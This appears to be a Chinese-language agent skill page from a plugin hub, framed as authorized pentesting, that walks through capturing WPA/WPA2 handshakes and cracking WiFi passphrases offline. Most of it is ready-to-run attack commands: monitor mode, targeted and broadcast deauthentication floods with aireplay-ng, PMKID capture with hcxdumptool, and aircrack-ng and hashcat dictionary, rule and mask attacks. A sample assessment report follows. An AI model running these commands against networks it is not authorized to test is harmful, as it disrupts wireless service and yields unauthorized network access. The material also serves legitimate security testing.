Captures WPA/WPA2 handshakes using aircrack-ng and cracks passwords offline with hashcat and dictionary attacks for authorized WiFi security assessments.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
- 在授权无线渗透测试中评估 WPA/WPA2/WPA3 密码短语强度
Captures WPA/WPA2 handshakes and performs offline password cracking using aircrack-ng, hashcat, and dictionary attacks for authorized wireless security assessments.
Captures WPA/WPA2 handshakes and cracks passwords offline using aircrack-ng, hashcat, and dictionaries for authorized wireless pentests evaluating passphrase strength.
Conducts authorized wireless network penetration tests including weak encryption checks, evil twin attacks, WPA2/WPA3 handshake capture, rogue AP detection, and client attacks to assess WiFi security.
Share bugs, ideas, or general feedback.
不要在未获明确书面授权的无线网络上使用,不要用于干扰无线通信,不要捕获无权测试的网络握手包。
# 识别无线接口
iwconfig
# 或
iw dev
# 终止可能干扰的进程
sudo airmon-ng check kill
# 启用监听模式
sudo airmon-ng start wlan0
# 输出:monitor mode enabled on wlan0mon
# 验证监听模式
iwconfig wlan0mon
# Mode 应显示 "Monitor"
# 或手动启用监听模式
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up
# 扫描所有信道上的接入点
sudo airodump-ng wlan0mon
# 输出列说明:
# BSSID PWR Beacons #Data CH ENC CIPHER AUTH ESSID
# AA:BB:CC:DD:EE:FF -45 120 35 6 WPA2 CCMP PSK TargetNetwork
# 识别目标网络参数:
# - BSSID(接入点 MAC 地址)
# - 信道号
# - 加密类型(WPA2-PSK 为目标)
# - 已连接客户端(在下方区域)
# 聚焦扫描目标信道
sudo airodump-ng wlan0mon --channel 6 --bssid AA:BB:CC:DD:EE:FF -w capture
# 方法 1:等待客户端自然连接
# 保持 airodump-ng 运行,等待 "WPA handshake: AA:BB:CC:DD:EE:FF" 消息
sudo airodump-ng wlan0mon --channel 6 --bssid AA:BB:CC:DD:EE:FF -w handshake_capture
# 方法 2:取消认证客户端强制重连(主动方式)
# 在另一终端向特定客户端发送取消认证包
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
# 或对所有客户端发送取消认证(广播)
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon
# 方法 3:从 AP 捕获 PMKID(无需客户端)
# 使用 hcxdumptool
sudo hcxdumptool -i wlan0mon --enable_status=1 -o pmkid_capture.pcapng \
--filterlist_ap=AA:BB:CC:DD:EE:FF --filtermode=2
# 等待 "PMKID" 消息后转换为 hashcat 格式
hcxpcapngtool -o pmkid_hash.hc22000 pmkid_capture.pcapng
# 验证是否捕获了握手包
aircrack-ng handshake_capture-01.cap
# 应显示:目标 BSSID 旁有 "1 handshake"
# 使用 rockyou 字典进行破解
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF handshake_capture-01.cap
# 使用多个字典
aircrack-ng -w /usr/share/wordlists/rockyou.txt,/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt \
-b AA:BB:CC:DD:EE:FF handshake_capture-01.cap
# 使用指定 ESSID 破解
aircrack-ng -w /usr/share/wordlists/rockyou.txt -e "TargetNetwork" handshake_capture-01.cap
# 若成功,输出显示:
# KEY FOUND! [ password123 ]
# 将捕获文件转换为 hashcat 格式
hcxpcapngtool -o hashcat_input.hc22000 handshake_capture-01.cap
# 使用 hashcat 进行字典攻击
hashcat -m 22000 hashcat_input.hc22000 /usr/share/wordlists/rockyou.txt
# 规则攻击(变换字典中的词)
hashcat -m 22000 hashcat_input.hc22000 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# 暴力破解 8 位数字密码
hashcat -m 22000 hashcat_input.hc22000 -a 3 ?d?d?d?d?d?d?d?d
# 掩码攻击(常见模式:单词 + 4 位数字)
hashcat -m 22000 hashcat_input.hc22000 -a 3 -1 ?l?u ?1?1?1?1?1?d?d?d?d
# 针对 PMKID 哈希
hashcat -m 22000 pmkid_hash.hc22000 /usr/share/wordlists/rockyou.txt
# 显示已破解的密码
hashcat -m 22000 hashcat_input.hc22000 --show
# 停止监听模式
sudo airmon-ng stop wlan0mon
# 重启网络服务
sudo systemctl restart NetworkManager
# 生成报告
cat > wifi_assessment_report.txt << 'EOF'
WiFi 安全评估结果
==================
目标 SSID:TargetNetwork
BSSID:AA:BB:CC:DD:EE:FF
加密:WPA2-PSK (CCMP)
信道:6
握手包捕获:成功(方法:客户端取消认证)
破解结果:密码已找到
密码:[安全记录]
破解时间:3 分 47 秒(rockyou.txt,hashcat GPU)
建议:更换为 15 个字符以上、含大小写字母、数字和符号的密码短语,
或迁移至支持 802.1X 的 WPA2/WPA3-Enterprise。
EOF
# 安全处理捕获文件(包含敏感认证材料)
sha256sum handshake_capture-01.cap > evidence_hashes.txt
# 按照评估协议传输至安全证据存储
| 术语 | 定义 |
|---|---|
| 四次握手(4-Way Handshake) | 客户端与 AP 之间的 WPA/WPA2 认证交换过程,从 PSK 派生会话密钥,可被捕获用于离线密码破解 |
| PMKID | 成对主密钥标识符,包含在 AP 发出的第一个 EAPOL 帧中,无需捕获完整握手或连接的客户端即可进行密码破解 |
| 监听模式(Monitor Mode) | 无线接口模式,可在不关联任何接入点的情况下捕获信道上的所有无线帧 |
| 取消认证攻击(Deauthentication Attack) | 发送伪造的 802.11 管理帧断开客户端与 AP 的连接,迫使重连以生成可捕获的握手包 |
| PSK(预共享密钥) | WPA/WPA2-Personal 网络中所有用户用于认证的静态密码,易受离线字典攻击 |
| 802.1X/EAP | 使用 RADIUS 服务器的企业无线认证,提供每用户凭证,消除共享密码漏洞 |
背景:一家金融服务公司需要评估其无线网络安全性。他们有三个 SSID:Corp-WiFi(员工使用 WPA2-Enterprise)、Guest-WiFi(访客使用 WPA2-PSK)和 IoT-WiFi(IoT 设备使用 WPA2-PSK)。评估授权测试所有三个网络。
方法:
注意事项:
## 无线安全评估报告
**评估日期**:2024-03-15
**位置**:企业办公室,A 楼
### 网络清单
| SSID | BSSID | 加密 | 认证 | 信道 | 可破解 |
|------|-------|------|------|------|--------|
| Corp-WiFi | AA:BB:CC:11:22:33 | WPA2 | 802.1X | 36 | N/A(企业版) |
| Guest-WiFi | AA:BB:CC:44:55:66 | WPA2 | PSK | 6 | 是 - 47 秒 |
| IoT-WiFi | AA:BB:CC:77:88:99 | WPA2 | PSK | 1 | 是 - 12 秒 |
### 发现
**发现 1:Guest-WiFi 密码弱(高危)**
- 密码:「Welcome2024!」(字典攻击 47 秒破解)
- 在 rockyou.txt 前 10 万条目中存在
- 所有访客共享,无轮换策略
**发现 2:IoT-WiFi 密码极弱(严重)**
- 密码:「iot12345」(12 秒破解)
- 默认模式密码,可访问 IoT 设备网络
- IoT-WiFi 与企业资源之间无网络分段
### 建议
1. 将 Guest-WiFi 迁移至每会话凭证的强制门户
2. 将 IoT-WiFi 更换为 20 个字符以上的随机密码短语并按季度轮换
3. 实施网络分段,将 IoT VLAN 与企业资源隔离
4. 考虑为 PSK 网络采用 WPA3-SAE,防止离线破解
5. 启用 802.11w 保护管理帧,防止取消认证攻击